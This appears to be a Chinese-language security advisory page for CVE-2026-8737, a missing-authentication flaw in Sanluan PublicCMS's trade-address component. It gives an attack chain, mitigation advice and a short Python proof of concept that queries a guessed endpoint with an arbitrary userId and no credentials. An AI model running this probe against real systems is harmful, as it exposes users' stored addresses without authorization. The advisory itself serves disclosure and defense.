IPBUF安全漏洞报告
English
CVE-2026-8737 CVSS 5.3 中危

CVE-2026-8737 PublicCMS认证缺失漏洞

披露日期: 2026-05-17

漏洞信息

漏洞编号
CVE-2026-8737
漏洞类型
权限绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Sanluan PublicCMS

相关标签

权限绕过认证缺失PublicCMS信息泄露CVE-2026-8737

漏洞概述

Sanluan PublicCMS 5.202506.d版本中存在一处安全漏洞。该漏洞位于交易地址查询组件的TradeAddressListDirective.java文件中,在execute函数执行时,由于对传入参数userId/id缺乏严格的验证,导致身份认证机制失效。未经认证的远程攻击者可利用此缺陷获取敏感数据。目前厂商尚未回应,且利用代码已在公开渠道传播。

技术细节

该漏洞根源在于Sanluan PublicCMS框架中交易地址查询组件的访问控制实现存在严重缺陷。具体而言,受影响的文件`publiccms-trade/src/main/java/com/publiccms/views/directive/trade/TradeAddressListDirective.java`中的`execute`方法在处理业务逻辑时,未能正确实施身份验证检查。当系统解析用户提交的HTTP请求参数(特别是`userId`和`id`)时,直接将其用于数据查询而未校验当前会话用户的权限。这使得未授权的攻击者能够通过篡改请求参数,以任意用户身份发起查询请求。根据CVSS向量分析,该漏洞利用无需任何权限(PR:N)和用户交互(UI:N),攻击者可从网络位置(AV:N)直接发起攻击。成功利用后,攻击者可窃取系统中存储的交易地址信息,造成机密性泄露。鉴于利用代码已公开,风险等级较高。

攻击链分析

STEP 1
侦察
攻击者识别出运行Sanluan PublicCMS 5.202506.d的目标系统,并确定交易地址查询接口的存在。
STEP 2
漏洞利用
攻击者构造特制的HTTP请求,在请求参数中直接指定userId或id,不携带任何认证凭证(如Cookie或Token)。
STEP 3
权限绕过
服务器端TradeAddressListDirective组件接收到请求后,由于execute方法缺少认证校验,直接根据参数返回了对应的敏感地址信息。
STEP 4
数据泄露
攻击者成功获取系统内用户的交易地址数据,造成隐私泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_vulnerability(target_url): """ PoC for CVE-2026-8737: Missing Authentication in PublicCMS Attempts to access trade address list without authentication by manipulating userId. """ # The vulnerable endpoint might be a directive or API path # Based on the file name TradeAddressListDirective, constructing a potential path endpoint = "/trade/addressList" # Payload parameters to bypass authentication and access user data params = { "userId": "1", # Trying to access admin or user ID 1 "id": "1" } try: response = requests.get(target_url + endpoint, params=params, timeout=10) # Check if request was successful (200 OK) and returned data if response.status_code == 200: print("[+] Potential Vulnerability Detected!") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Content: {response.text[:200]}...") else: print(f"[-] Target may not be vulnerable or endpoint is different. Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target check_vulnerability(target)

影响范围

Sanluan PublicCMS 5.202506.d

防御指南

临时缓解措施
建议立即在受影响系统的后端代码中添加身份验证中间件,确保在处理`TradeAddressListDirective`相关请求时,必须验证当前会话用户的身份及其对目标`userId`/`id`的访问权限。若无官方补丁,可考虑暂时禁用交易地址查询功能或通过网络ACL限制对相关URL的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表